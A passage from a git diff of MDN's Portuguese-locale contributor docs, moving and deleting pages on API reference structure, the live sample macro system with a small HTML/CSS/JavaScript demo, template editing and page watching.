  5. Demos/blog posts/other info: Find as much info as you can. It is useful to start by spending time familiarizing yourself with how the API works — learn what the main interfaces/properties/methods are, what the primary use cases are, and how to write simple functionality with it.
  6. -
  7. Useful engineering contacts: It is really useful to find yourself a friendly engineering contact to ask questions about the spec, someone who is involved in the standardization of the API, or its implementation in a browser. Good places to find them are: -
      -
    • Your internal company address book, if you work for a relevant company.
    • -
    • A public mailing list that is involved in the discussion of that API,  such as Mozilla's dev-platform or dev-webapi lists, or a W3C list like public-webapps.
    • -
    • The spec itself. For example, the Web Audio API spec lists the authors and their contact details at the top.
    • -
    -
  8. -
- -

High level structure

- -
-
What does an API reference need?
-
This article explains what pages are required for a complete API reference.
-
Page types
-
There are a number of types of pages that are used repeatedly on MDN. This article describes these page types, their purpose, and gives examples of each and templates to use when creating a new page.
-
- -

Individual page features

- -

These articles explain how to create the individual page features required for API reference pages.

- -
-
API reference sidebars
-
When including a sidebar on your MDN API reference articles, you are able to customize it so that it displays links to related Interfaces, tutorials, and other resources relevant just to that API. This article explains how.
-
Syntax sections
-
The syntax section of an MDN reference page contains a syntax box defining the exact syntax that a feature has (e.g. what parameters can it accept, which ones are optional?) This article explains how to write syntax boxes for refererence articles.
-
Code examples
-
On MDN, you'll see numerous code examples inserted throughout the pages to demonstrate usage of web platform features. This article discusses the different mechanisms available for adding code examples to pages, along with which ones you should use and when.
-
Specification tables
-
Every reference page on MDN should provide information about the specification or specifications in which that API or technology was defined. This article demonstrates what these tables look like and explains how to construct them.
-
Compatibility tables
-
MDN has a standard format for compatibility tables for our open web documentation; that is, documentation of technologies such as the DOM, HTML, CSS, JavaScript, SVG, and so forth, that are shared across all browsers. This article covers how to use our features to add compatibility data to MDN pages.
-
diff --git a/files/pt-pt/mdn/structures/api_references/o_que_e_que_uma_referencia_de_api_precisa/index.html b/files/pt-pt/mdn/structures/api_references/o_que_e_que_uma_referencia_de_api_precisa/index.html deleted file mode 100644 index 986791e813..0000000000 --- a/files/pt-pt/mdn/structures/api_references/o_que_e_que_uma_referencia_de_api_precisa/index.html +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: O que é que uma referência de API precisa? -slug: MDN/Structures/API_references/O_que_e_que_uma_referencia_de_API_precisa -translation_of: MDN/Structures/API_references/What_does_an_API_reference_need ---- -
{{MDNSidebar}}

Este artigo explica quais as páginas que são necessárias para uma referência completa da API .

- -
-

Nota: It is a good idea to create the list of documents you need to write or update when you are working on an API reference, then check them off as you complete them.

-
- -

API pages at a glance

- -

An API reference will generally contain the following pages. You can find more details of what each page contains, examples, and templates, in our Page types article.

- -
    -
  1. Overview page
  2. -
  3. Interface pages
  4. -
  5. Constructor pages
  6. -
  7. Method pages
  8. -
  9. Property pages (including event handlers properties)
  10. -
  11. Event pages
  12. -
  13. Concept/guide pages
  14. -
  15. Examples
  16. -
- -
-

Nota: We'll be referring to the Web Audio API for examples in this article.

-
- -
-

Nota: To create a page as specified below, the easiest way is to go to the parent page you want it to hang off, and choose Cog icon > New sub-article. If you haven't got this option available on your MDN interface, you'll need to request this privilege (ask at mdn-admins@mozilla.org), or ask another MDN contributor to create them for you.

-
- -

Página de sinopse

- -

A single API overview page is used to describe the role of the API, its top-level interfaces, related features contained in other interfaces, and other high level details. Its name and slug should be the name of the API plus "API" on the end. It is placed at the top level of the API reference, as a child of https://developer.mozilla.org/en-US/docs/Web/API.

- -

Example:

- - - -

Páginas da interface

- -

Each interface will have its own page too, describing the purpose of the interface, listing any members (constructors, methods, properties, etc. it contains), and showing what browsers it is compatible with. A page's name and slug should be the name of the interface, exactly as written in the spec. Each page is placed at the top level of the API reference, as a child of https://developer.mozilla.org/en-US/docs/Web/API.

- -

Exemplos:

- - - - - -
-

Nota: We document every member appearing in the interface. You should bear the following rules in mind:

- - -
- -

Páginas de constructor

- -

Each interface has 0 or 1 constructors, documented on a subpage of the interface's page. It describes the purpose of the constructor and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the constructor, which is exactly the same as the interface name, and the title is interface name, dot, constructor name, then parentheses on the end.

- -

Example:

- - - -

Páginas de propriedade

- -

Each interface has zero or more properties, documented on subpages of the interface's page. each page describes the purpose of the property and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the property, and the title is interface name, dot, then property name.

- -

Examples:

- - - - - -
-

Nota: Event handler properties are treated in the same way as regular properties; they are generally listed in a separate section on the interface page though.

-
- - - -

Páginas de método

- -

Each interface has zero or more methods, documented on subpages of the interface's page. each page describes the purpose of the method and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug is the name of the method, and the title is interface name, dot, method name, then parentheses.

- -

Examples:

- - - - - -

Páginas de evento

- -

Each event handler property you create will have a corresponding event page, describing the event that causes the handler to fire, documented on a subpage of https://developer.mozilla.org/en-US/docs/Web/Events. Each page describes the purpose of the event and shows what its syntax looks like, usage examples, browser compatibility information, etc. Its slug and title is the name of the event.

- -

Example:

- - - -

Páginas de conceito/guia

- -

Most API references have at least one guide and sometimes also a concept page to accompany it. At minimum, an API reference should contain a guide called "Using the name-of-api", which will provide a basic guide to how to use the API. More complex APIs may require multiple usage guides to explain how to use different aspects of the API.

- -

If required, you can also including a concepts article called "name-of-api concepts", which will provide explanation of the theory behind any concepts related to the API that developers should understand to effectively use it.

- -

These articles should all be created as subpages of the API overview page. For example, the Web Audio has four guides and a concept article:

- - - -

Exemplos

- -

You should create some examples that demonstrate at least the most common use cases of the API. You can put these anywhere that is appropriate, although the recommended place is the MDN GitHub repo.

diff --git a/files/pt-pt/mdn/structures/exemplos_live/index.html b/files/pt-pt/mdn/structures/exemplos_live/index.html deleted file mode 100644 index 91295fc37c..0000000000 --- a/files/pt-pt/mdn/structures/exemplos_live/index.html +++ /dev/null @@ -1,248 +0,0 @@ ---- -title: Exemplos live -slug: MDN/Structures/Exemplos_live -tags: - - Estruturas - - Guia(2) - - Intermediário - - Metadados MDN -translation_of: MDN/Structures/Live_samples ---- -
{{MDNSidebar}}

Exemplos MDN supports turning sample code displayed in articles into running samples the reader can look at in action. These live samples can include HTML, CSS, and JavaScript in any combination. Note that "live" samples are not interactive; however, they do ensure that the output displayed for a sample matches the code of the sample exactly, because it is actually generated by the code sample.

- -

Como é que os exemplos live funcionam

- -

The live sample system gathers up all the code in a group, merges it into one HTML file, and then renders that HTML in an {{HTMLElement("iframe")}}. A live sample therefore consists of two pieces:

- - - -

A "group" of code blocks, in this context, is identified by the ID of a heading or a block element (such as a {{HTMLElement("div")}}).

- - - -

The macro uses a special URL to fetch the sample code for a given group: http://url-of-page$samples/group-id, where group-id is the ID of the heading or block where the code is located. The resulting frame (or page) is sandboxed, secure, and technically may do anything that works on the Web. Of course, as a practical matter, the code must contribute to the point of the page that contains it; random stuff running on MDN will be removed by the editor community.

- -
-

Nota: You must use the macro for presenting the live sample's output. MDN's editor will strip out any direct use of the <iframe> element in order to ensure security.

-
- -

Each {{HTMLElement("pre")}} block containing code for the sample has a class on it that indicates whether it's HTML, CSS, or JavaScript code; these are "brush: html", "brush: css", and "brush: js". These classes must be on the corresponding blocks of code so that the wiki can use them correctly; fortunately, these are added for you automatically when you use the syntax highlighter features in the editor's toolbar.

- -

The live sample system has lots of options available, and we'll try to break things down to look at them a bit at a time.

- -

Macros de exmplo live

- -

There are two macros that you can use to display live samples:

- - - -

In many cases, you may be able to add the EmbedLiveSample or LiveSampleLink macro to pages with little or no additional work! As long as the sample can be identified by a heading's ID or is in a block with an ID you can use, simply adding the macro should do the job.

- -

EmbedLiveSample macro

- -
 \{{EmbedLiveSample(block_ID, width, height, screenshot_URL, page_slug)}}
- -
-
block_ID
-
Required: The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.
-
width
-
The width of the {{HTMLElement("iframe")}} to create, specified in px. This is optional; a reasonable default width will be used if you omit this. Note that if you want to use a specific width, you must also specify the height parameter.
-
height
-
The height of the {{HTMLElement("iframe")}} to create, specified in px. This is optional; a reasonable default height will be used if you omit this. Note that if you want to use a specific height, you must also specify the width parameter. If you use only one of them, the default frame size is used.
-
screenshot_URL
-
The URL of a screenshot that shows what the live sample should look like. This is optional, but can be useful for new technologies that may not work in the user's browser, so they can see what the sample would look like if it were supported by their browser. If you include this parameter, the screenshot is shown next to the live sample, with appropriate headings.
-
page_slug
-
The slug of the page containing the sample; this is optional, and if it's not provided, the sample is pulled from the same page on which the macro is used.
-
- -
    -
- - - -
 \{{LiveSampleLink(block_ID, link_text)}}
- -
-
block_ID
-
The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.
-
link_text
-
A string to use as the link text.
-
- -

Utilizar o sistema de exemplo live

- -

The sections below describe a few common use cases for the live sample system.

- -

In all of these cases, to see the results of the live sample, you must click Save Changes in the editor (which takes you out of edit mode). Because of the reflexive, Inception-like nature of live samples, the Preview Changes functionality is not able to display live samples.

- -

Turning snippets into live samples

- -

One common use case is to take existing code snippets already shown on MDN and turn them into live samples.

- -

Preparar os exemplos de código

- -

The first step is to either add code snippets or ensure that existing ones are ready to be used as live samples, in terms of the content and in terms of their mark-up. The code snippets, taken together, must comprise a complete, runnable example. For example, if the existing snippet shows only CSS, you might need to add a snippet of HTML for the CSS to operate on.

- -

Each piece of code must be in a {{HTMLElement("pre")}} block, with a separate block for each language, properly marked as to which language it is. Most of the time, this has already been done, but it's always worth double-checking to be sure each piece of code is configured with the correct syntax. Next to the PRE icon in the toolbar is a drop-down menu icon (tooltip: Syntax Highlighter) with the various languages that MDN does syntax highlighting for. Setting the language for the block for syntax highlighting also correlates it with a language for the purposes of the live sample system.

- -
-

Nota: You may have more than one block for each language; they are all concatenated together. This lets you have a chunk of code, followed by an explanation of how it works, then another chunk, and so forth. This makes it even easier to produce tutorials and the like that utilize live samples interspersed with explanatory text.

-
- -

So make sure the {{HTMLElement("pre")}} blocks for your HTML, CSS, and/or JavaScript code are each configured correctly for that language's syntax highlighting, and you're good to go.

- -
-

Nota: When pasting content into MDN, please be aware that if pasting styled content (including, for example, syntax highlighting in code being copied from another site) that you may be bringing along unwanted and unneeded additional styles or classes. Please be careful not to do this; if necessary, review your edit in source mode to remove these unnecessary styles and classes (or check it before pasting, or use the "Paste as plain text" option instead).

-
- -

Inserir a macro de exemplo live

- -

Once the code is in place and properly configured to identify each block's language, you need to insert the macro that creates the iframe.

- -
    -
  1. Click the Insert Live Code Sample iFrame button in the toolbar; it looks like this: . This opens a dialog box for configuring your live sample frame:
  2. -
  3. Under Document, enter the title of the article that contains the sample you wish to embed. By default, it's the article you're currently editing, but you can choose an article elsewhere on MDN, too. This makes it possible to reuse samples on multiple pages if needed. (If you type new text in this field, a menu of partially matching pages appears; select the title of the page you want.)
  4. -
  5. In the Sections in Document menu, select the section in the article that contains the code blocks of the sample you want to embed.
  6. -
  7. Click the OK button to generate and insert the macro call that creates the sample frame for you. The macro call looks something like this:
    - \{{ EmbedLiveSample('Live_sample_demo') }}
  8. -
- -

Adicionar um novo exemplo live

- -

If you're writing a new page, and want to insert code that you want to present as a live sample, even more of the work can be done for you by the editor! 

- -
    -
  1. Click the Insert Code Sample Template button in the toolbar, which looks like this: . This presents a simple dialog asking you to name your live sample:
    -
  2. -
  3. Enter the title of the sample; this is used as the heading for the sample. Make sure that your title makes sense within the context of the page you're on.
  4. -
  5. Click OK. A new heading with the title you entered is created, with sub-headings and empty code blocks for HTML, CSS, and JavaScript.
  6. -
  7. Delete any headings and code blocks you don't need.
  8. -
  9. Enter the code that makes up your sample in the appropriate code blocks
  10. -
  11. Check conventions
  12. -
- -

Utilizar o 'Localizador de Exemplo'

- -

As mentioned above, the Sample Finder is activated by clicking the Insert Live Code Sample iFrame icon. Unfortunately the the Sample Finder may produce a macro that is NOT usable without editing. There are two problem areas that should be carefully checked and edited if necessary.

- -
    -
  1. Document field. This field will search as you type and present a list of documents that match your string. But the list presented will NOT include the sub-page. For example, say you are working on the subpage for Negative under the main page @counter-style. The Sample Finder search will not find Negative but will find the main page @counter-style. When @counter-style is selected the field background turns green. See below for the issue this creates.
  2. -
  3. Sections in Document. The pull-down menu Sections in Document may not show the section that you need. Just pick one, say Examples, and it can be fixed with a simple edit.
  4. -
- -

Here is what the Sample Finder produced:

- -
\{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/@counter-style') }}
- -

This macro will not work. The block_ID is Examples and it should be Example in this case (check the source ID for this section to verify which block_ID you need to use. Similarly the page_slug is @counter-style and it should be @counter-style/negative. These corrections can be done directly in the page with Edit active.

- -

After editing the macro now looks like this:

- -
\{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/@counter-style/negative') }}
- -

This edited macro will work correctly. If the macro is working correctly you will see the Open in CodePen button. A thumbnail of the example should appear above the Open in CodePen button. If the button is there but there isn't a thumbnail, just wait a few minutes. It may take some time for the server to generate it.

- -

Encontrar exemplos que precisam de ser atualizados

- -

When looking for existing samples to update, there are three main kinds of updating you may wish to do:

- - - -
-

Note: If you find an article that has samples in need of being updated to use the live sample system, please add the tag "NeedsLiveSample" to the page.

-
- -

Encontrar exemplos para os transformnar em exemplos live

- -

MDN has lots of older examples that don't yet use the live sample system. Our goal is to update most or all of these to be live samples. This will improve consistency and usability. You will almost certainly find many of these as you use MDN on a daily basis; however, how can you find them if you're specifically looking for them to update? Unfortunately, there's not an easy way to do that. But there are some guidelines you can follow to help track them down:

- - - -

Demonstração de exemplo live

- -

This section is the result of using the live sample template button to create not only the main heading ("Live sample demo"), but also subheadings for our HTML, CSS, and JavaScript content. You're not limited to one block of each; in addition, they don't even need to be in any particular order. Mix and match!

- -

You may choose to delete any of these you wish; if you don't need any script, just delete that heading and its {{HTMLElement("pre")}} block. You can also delete the heading for a code block ("HTML", "CSS", or "JavaScript"), since these are not used by the live sample macro.

- -

Now that the template has been inserted, we can put in some code, and even some explanatory text.

- -

HTML

- -

This HTML creates a paragraph and some blocks to help us position and style a message.

- -
<p>A simple example of the live sample system in action.</p>
-<div class="box">
-  <div id="item">Hello world!</div>
-</div>
-
- -

CSS

- -

The CSS code styles the box as well as the text inside it.

- -
.box {
-  width: 200px;
-  height: 100 px;
-  border-radius: 6px;
-  background-color: #ffaabb;
-}
-
-#item {
-  width: 100%;
-  font-weight: bold;
-  text-align: center;
-  font-size: 2em;
-}
-
- -

JavaScript

- -

This code is very simple. All it does is attach an event handler to the "Hello world!" text that makes an alert appear when it is clicked.

- -
var el = document.getElementById('item');
-el.onclick = function() {
-  alert('Owww, stop poking me!');
-}
-
- -

Resultado

- -

Here is the result of running the code blocks above via \{{EmbedLiveSample('Live_sample_demo')}}:

- -

{{EmbedLiveSample('Live_sample_demo')}}

- -

Here is a link that results from calling these code blocks via \{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}:

- -

{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}

- -

Convenções sobre exemplos live

- -
-

Nota: This is currently (Feb. 2016) under discussion on the dev-mdc mailing list (see this thread). Any input is welcome. If this note persists after some month (Apr. 2016), please reach the author of the first email in this thread for updating this page.

-
- -
-
Ordem dos blocos de código
-
When adding a live sample, the code blocks should be sorted so that the first one corresponds to the main language for this sample (if there is one). For example, when adding a live sample for the HTML Reference, the first block should be HTML, when adding a live sample for the CSS Reference, it should be CSS and so on.
-
Nomeação de cabeçalhos
-
When there is no ambiguity (e.g. the sample is under a "Examples" section), headings should be straightforward with the sole name of the corresponding language: HTML, CSS, JavaScript, SVG, etc. (see above). Headings like "HTML Content" or "JavaScript Content" should not be used. However if such a short heading makes content unclear, one can use a more thoughtful title.
-
Utilizar um bloco de "Resultado"
-
After the different code blocks, please use a last "Result" block before using the EmbedLiveSample macro (see above). This way, the semantic of the example is made clearer for both the reader and any tools that would parse the page (e.g. screen reader, web crawler).
-
diff --git a/files/pt-pt/mdn/structures/live_samples/index.html b/files/pt-pt/mdn/structures/live_samples/index.html new file mode 100644 index 0000000000..91295fc37c --- /dev/null +++ b/files/pt-pt/mdn/structures/live_samples/index.html @@ -0,0 +1,248 @@ +--- +title: Exemplos live +slug: MDN/Structures/Exemplos_live +tags: + - Estruturas + - Guia(2) + - Intermediário + - Metadados MDN +translation_of: MDN/Structures/Live_samples +--- +
{{MDNSidebar}}

Exemplos MDN supports turning sample code displayed in articles into running samples the reader can look at in action. These live samples can include HTML, CSS, and JavaScript in any combination. Note that "live" samples are not interactive; however, they do ensure that the output displayed for a sample matches the code of the sample exactly, because it is actually generated by the code sample.

+ +

Como é que os exemplos live funcionam

+ +

The live sample system gathers up all the code in a group, merges it into one HTML file, and then renders that HTML in an {{HTMLElement("iframe")}}. A live sample therefore consists of two pieces:

+ + + +

A "group" of code blocks, in this context, is identified by the ID of a heading or a block element (such as a {{HTMLElement("div")}}).

+ + + +

The macro uses a special URL to fetch the sample code for a given group: http://url-of-page$samples/group-id, where group-id is the ID of the heading or block where the code is located. The resulting frame (or page) is sandboxed, secure, and technically may do anything that works on the Web. Of course, as a practical matter, the code must contribute to the point of the page that contains it; random stuff running on MDN will be removed by the editor community.

+ +
+

Nota: You must use the macro for presenting the live sample's output. MDN's editor will strip out any direct use of the <iframe> element in order to ensure security.

+
+ +

Each {{HTMLElement("pre")}} block containing code for the sample has a class on it that indicates whether it's HTML, CSS, or JavaScript code; these are "brush: html", "brush: css", and "brush: js". These classes must be on the corresponding blocks of code so that the wiki can use them correctly; fortunately, these are added for you automatically when you use the syntax highlighter features in the editor's toolbar.

+ +

The live sample system has lots of options available, and we'll try to break things down to look at them a bit at a time.

+ +

Macros de exmplo live

+ +

There are two macros that you can use to display live samples:

+ + + +

In many cases, you may be able to add the EmbedLiveSample or LiveSampleLink macro to pages with little or no additional work! As long as the sample can be identified by a heading's ID or is in a block with an ID you can use, simply adding the macro should do the job.

+ +

EmbedLiveSample macro

+ +
 \{{EmbedLiveSample(block_ID, width, height, screenshot_URL, page_slug)}}
+ +
+
block_ID
+
Required: The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.
+
width
+
The width of the {{HTMLElement("iframe")}} to create, specified in px. This is optional; a reasonable default width will be used if you omit this. Note that if you want to use a specific width, you must also specify the height parameter.
+
height
+
The height of the {{HTMLElement("iframe")}} to create, specified in px. This is optional; a reasonable default height will be used if you omit this. Note that if you want to use a specific height, you must also specify the width parameter. If you use only one of them, the default frame size is used.
+
screenshot_URL
+
The URL of a screenshot that shows what the live sample should look like. This is optional, but can be useful for new technologies that may not work in the user's browser, so they can see what the sample would look like if it were supported by their browser. If you include this parameter, the screenshot is shown next to the live sample, with appropriate headings.
+
page_slug
+
The slug of the page containing the sample; this is optional, and if it's not provided, the sample is pulled from the same page on which the macro is used.
+
+ +
    +
+ + + +
 \{{LiveSampleLink(block_ID, link_text)}}
+ +
+
block_ID
+
The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.
+
link_text
+
A string to use as the link text.
+
+ +

Utilizar o sistema de exemplo live

+ +

The sections below describe a few common use cases for the live sample system.

+ +

In all of these cases, to see the results of the live sample, you must click Save Changes in the editor (which takes you out of edit mode). Because of the reflexive, Inception-like nature of live samples, the Preview Changes functionality is not able to display live samples.

+ +

Turning snippets into live samples

+ +

One common use case is to take existing code snippets already shown on MDN and turn them into live samples.

+ +

Preparar os exemplos de código

+ +

The first step is to either add code snippets or ensure that existing ones are ready to be used as live samples, in terms of the content and in terms of their mark-up. The code snippets, taken together, must comprise a complete, runnable example. For example, if the existing snippet shows only CSS, you might need to add a snippet of HTML for the CSS to operate on.

+ +

Each piece of code must be in a {{HTMLElement("pre")}} block, with a separate block for each language, properly marked as to which language it is. Most of the time, this has already been done, but it's always worth double-checking to be sure each piece of code is configured with the correct syntax. Next to the PRE icon in the toolbar is a drop-down menu icon (tooltip: Syntax Highlighter) with the various languages that MDN does syntax highlighting for. Setting the language for the block for syntax highlighting also correlates it with a language for the purposes of the live sample system.

+ +
+

Nota: You may have more than one block for each language; they are all concatenated together. This lets you have a chunk of code, followed by an explanation of how it works, then another chunk, and so forth. This makes it even easier to produce tutorials and the like that utilize live samples interspersed with explanatory text.

+
+ +

So make sure the {{HTMLElement("pre")}} blocks for your HTML, CSS, and/or JavaScript code are each configured correctly for that language's syntax highlighting, and you're good to go.

+ +
+

Nota: When pasting content into MDN, please be aware that if pasting styled content (including, for example, syntax highlighting in code being copied from another site) that you may be bringing along unwanted and unneeded additional styles or classes. Please be careful not to do this; if necessary, review your edit in source mode to remove these unnecessary styles and classes (or check it before pasting, or use the "Paste as plain text" option instead).

+
+ +

Inserir a macro de exemplo live

+ +

Once the code is in place and properly configured to identify each block's language, you need to insert the macro that creates the iframe.

+ +
    +
  1. Click the Insert Live Code Sample iFrame button in the toolbar; it looks like this: . This opens a dialog box for configuring your live sample frame:
  2. +
  3. Under Document, enter the title of the article that contains the sample you wish to embed. By default, it's the article you're currently editing, but you can choose an article elsewhere on MDN, too. This makes it possible to reuse samples on multiple pages if needed. (If you type new text in this field, a menu of partially matching pages appears; select the title of the page you want.)
  4. +
  5. In the Sections in Document menu, select the section in the article that contains the code blocks of the sample you want to embed.
  6. +
  7. Click the OK button to generate and insert the macro call that creates the sample frame for you. The macro call looks something like this:
    + \{{ EmbedLiveSample('Live_sample_demo') }}
  8. +
+ +

Adicionar um novo exemplo live

+ +

If you're writing a new page, and want to insert code that you want to present as a live sample, even more of the work can be done for you by the editor! 

+ +
    +
  1. Click the Insert Code Sample Template button in the toolbar, which looks like this: . This presents a simple dialog asking you to name your live sample:
    +
  2. +
  3. Enter the title of the sample; this is used as the heading for the sample. Make sure that your title makes sense within the context of the page you're on.
  4. +
  5. Click OK. A new heading with the title you entered is created, with sub-headings and empty code blocks for HTML, CSS, and JavaScript.
  6. +
  7. Delete any headings and code blocks you don't need.
  8. +
  9. Enter the code that makes up your sample in the appropriate code blocks
  10. +
  11. Check conventions
  12. +
+ +

Utilizar o 'Localizador de Exemplo'

+ +

As mentioned above, the Sample Finder is activated by clicking the Insert Live Code Sample iFrame icon. Unfortunately the the Sample Finder may produce a macro that is NOT usable without editing. There are two problem areas that should be carefully checked and edited if necessary.

+ +
    +
  1. Document field. This field will search as you type and present a list of documents that match your string. But the list presented will NOT include the sub-page. For example, say you are working on the subpage for Negative under the main page @counter-style. The Sample Finder search will not find Negative but will find the main page @counter-style. When @counter-style is selected the field background turns green. See below for the issue this creates.
  2. +
  3. Sections in Document. The pull-down menu Sections in Document may not show the section that you need. Just pick one, say Examples, and it can be fixed with a simple edit.
  4. +
+ +

Here is what the Sample Finder produced:

+ +
\{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/@counter-style') }}
+ +

This macro will not work. The block_ID is Examples and it should be Example in this case (check the source ID for this section to verify which block_ID you need to use. Similarly the page_slug is @counter-style and it should be @counter-style/negative. These corrections can be done directly in the page with Edit active.

+ +

After editing the macro now looks like this:

+ +
\{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/@counter-style/negative') }}
+ +

This edited macro will work correctly. If the macro is working correctly you will see the Open in CodePen button. A thumbnail of the example should appear above the Open in CodePen button. If the button is there but there isn't a thumbnail, just wait a few minutes. It may take some time for the server to generate it.

+ +

Encontrar exemplos que precisam de ser atualizados

+ +

When looking for existing samples to update, there are three main kinds of updating you may wish to do:

+ + + +
+

Note: If you find an article that has samples in need of being updated to use the live sample system, please add the tag "NeedsLiveSample" to the page.

+
+ +

Encontrar exemplos para os transformnar em exemplos live

+ +

MDN has lots of older examples that don't yet use the live sample system. Our goal is to update most or all of these to be live samples. This will improve consistency and usability. You will almost certainly find many of these as you use MDN on a daily basis; however, how can you find them if you're specifically looking for them to update? Unfortunately, there's not an easy way to do that. But there are some guidelines you can follow to help track them down:

+ + + +

Demonstração de exemplo live

+ +

This section is the result of using the live sample template button to create not only the main heading ("Live sample demo"), but also subheadings for our HTML, CSS, and JavaScript content. You're not limited to one block of each; in addition, they don't even need to be in any particular order. Mix and match!

+ +

You may choose to delete any of these you wish; if you don't need any script, just delete that heading and its {{HTMLElement("pre")}} block. You can also delete the heading for a code block ("HTML", "CSS", or "JavaScript"), since these are not used by the live sample macro.

+ +

Now that the template has been inserted, we can put in some code, and even some explanatory text.

+ +

HTML

+ +

This HTML creates a paragraph and some blocks to help us position and style a message.

+ +
<p>A simple example of the live sample system in action.</p>
+<div class="box">
+  <div id="item">Hello world!</div>
+</div>
+
+ +

CSS

+ +

The CSS code styles the box as well as the text inside it.

+ +
.box {
+  width: 200px;
+  height: 100 px;
+  border-radius: 6px;
+  background-color: #ffaabb;
+}
+
+#item {
+  width: 100%;
+  font-weight: bold;
+  text-align: center;
+  font-size: 2em;
+}
+
+ +

JavaScript

+ +

This code is very simple. All it does is attach an event handler to the "Hello world!" text that makes an alert appear when it is clicked.

+ +
var el = document.getElementById('item');
+el.onclick = function() {
+  alert('Owww, stop poking me!');
+}
+
+ +

Resultado

+ +

Here is the result of running the code blocks above via \{{EmbedLiveSample('Live_sample_demo')}}:

+ +

{{EmbedLiveSample('Live_sample_demo')}}

+ +

Here is a link that results from calling these code blocks via \{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}:

+ +

{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}

+ +

Convenções sobre exemplos live

+ +
+

Nota: This is currently (Feb. 2016) under discussion on the dev-mdc mailing list (see this thread). Any input is welcome. If this note persists after some month (Apr. 2016), please reach the author of the first email in this thread for updating this page.

+
+ +
+
Ordem dos blocos de código
+
When adding a live sample, the code blocks should be sorted so that the first one corresponds to the main language for this sample (if there is one). For example, when adding a live sample for the HTML Reference, the first block should be HTML, when adding a live sample for the CSS Reference, it should be CSS and so on.
+
Nomeação de cabeçalhos
+
When there is no ambiguity (e.g. the sample is under a "Examples" section), headings should be straightforward with the sole name of the corresponding language: HTML, CSS, JavaScript, SVG, etc. (see above). Headings like "HTML Content" or "JavaScript Content" should not be used. However if such a short heading makes content unclear, one can use a more thoughtful title.
+
Utilizar um bloco de "Resultado"
+
After the different code blocks, please use a last "Result" block before using the EmbedLiveSample macro (see above). This way, the semantic of the example is made clearer for both the reader and any tools that would parse the page (e.g. screen reader, web crawler).
+
diff --git "a/files/pt-pt/mdn/tools/edi\303\247\303\243o_de_modelo/index.html" "b/files/pt-pt/mdn/tools/edi\303\247\303\243o_de_modelo/index.html" deleted file mode 100644 index aa1f90ba40..0000000000 --- "a/files/pt-pt/mdn/tools/edi\303\247\303\243o_de_modelo/index.html" +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Edição de modelo -slug: MDN/Tools/Edição_de_modelo -tags: - - Ferramentas - - Guía - - Metadados MDN -translation_of: MDN/Tools/Template_editing ---- -
{{MDNSidebar}}

Na MDN, os modelos esccritos em KumaScript são utilziados por uma geração de conteúdo automatizado e personalização dentro das páginas. Cada modelo é um ficheiro separado sob a diretoria de macros do repositório de KumaScript no GitHub.

- -

Qualquer pessoa que edite páginas da wiki da MDN podem invocar modelos via macros nos artigos da MDN.Qualquer pessoa pode criar e editar modelos via repositório de KumaScript no GitHub, utilizando práticas de código aberto padrão (fork repositório, criar um ramo, efetuar alterações, e submeter um pedido de submissão para revisão). Note que enviar um pedido de submissão é atualmente a única maneira para atualizar as strings traduzidas nos modelos que as contêm .

diff --git a/files/pt-pt/mdn/tools/vigiar_pagina/index.html b/files/pt-pt/mdn/tools/vigiar_pagina/index.html deleted file mode 100644 index b7f9de52b0..0000000000 --- a/files/pt-pt/mdn/tools/vigiar_pagina/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Subscrição de página -slug: MDN/Tools/Vigiar_pagina -tags: - - Ferramentas - - Guia(2) - - Metadados MDN - - Nível de Página -translation_of: MDN/Tools/Page_watching ---- -
{{MDNSidebar}}
- -

A great way to stay involved with content on MDN that you care about is to subscribe to pages, so that you're notified via email when the pages get changed. Every page on MDN offers a button offering options to monitor the page (and optionally its subpages) for changes. To access these options, hover over the Watch button to disclose the Watch menu, which looks like this:

- -

Screenshot of MDN's Watch menu

- -

Then choose the option specifying whether to watch only that one page or that page and its sub-pages, as described in the following sections.

- -

Subscrever uma página

- -

To subscribe to a single page, simply hover the mouse cursor over the Watch menu to display the Watch menu as described above, then select the first option, "Subscribe to Page Title". Once you've done this, each time a user makes a change to that one page, you'll get email describing the change.

- -

Vigiar várias páginas

- -

Choosing the second option in the Watch menu, "Subscribe to Page Title and all its sub-articles", will register you to receive email for each change made to that page as well as all of its sub-pages. This includes sub-pages added after you requested the subscription, so if more sub-pages are created in the future, you'll get notifications for those as well.

- -

Cancelar a subscriçção de uma página

- -

If you eventually need to unsubscribe from, or stop watching, a page, open the Watch menu again, and see that the "Subscribe" link has changed to "Unsubscribe." Click that, and you're unsubscribed!

- -

Mensagens de alteração de página

- -

Each time a change is saved to the page, you'll get an email. These emails come from notifications@developer.mozilla.org and are sent to the email address you used when registering your MDN account. Each message has a title of the form:

- -
[MDN] Page "Page title" changed by username
- -

The message starts with a repeat of the information in the title, then presents a standard diff of the content, showing exactly what changed. The changes are shown as HTML source code, which can be a little weird to read if you're not used to it in the context of MDN.

- -

After the diff itself comes a list of useful links that you can use to act on the change in some way, including:

- - - -

At the end of the email you see text telling you what subscription generated the email, such as "You are subscribed to edits on: HTML element reference and all its sub-articles", as well as a link you can click to unsubscribe from the messages for this watch request.

diff --git a/files/pt-pt/mdn/troubleshooting/index.html b/files/pt-pt/mdn/troubleshooting/index.html deleted file mode 100644 index 4282a39570..0000000000 --- a/files/pt-pt/mdn/troubleshooting/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Resolução de Problemas -slug: MDN/Troubleshooting -tags: - - resolução de problemas -translation_of: MDN/Troubleshooting ---- -
{{MDNSidebar}}

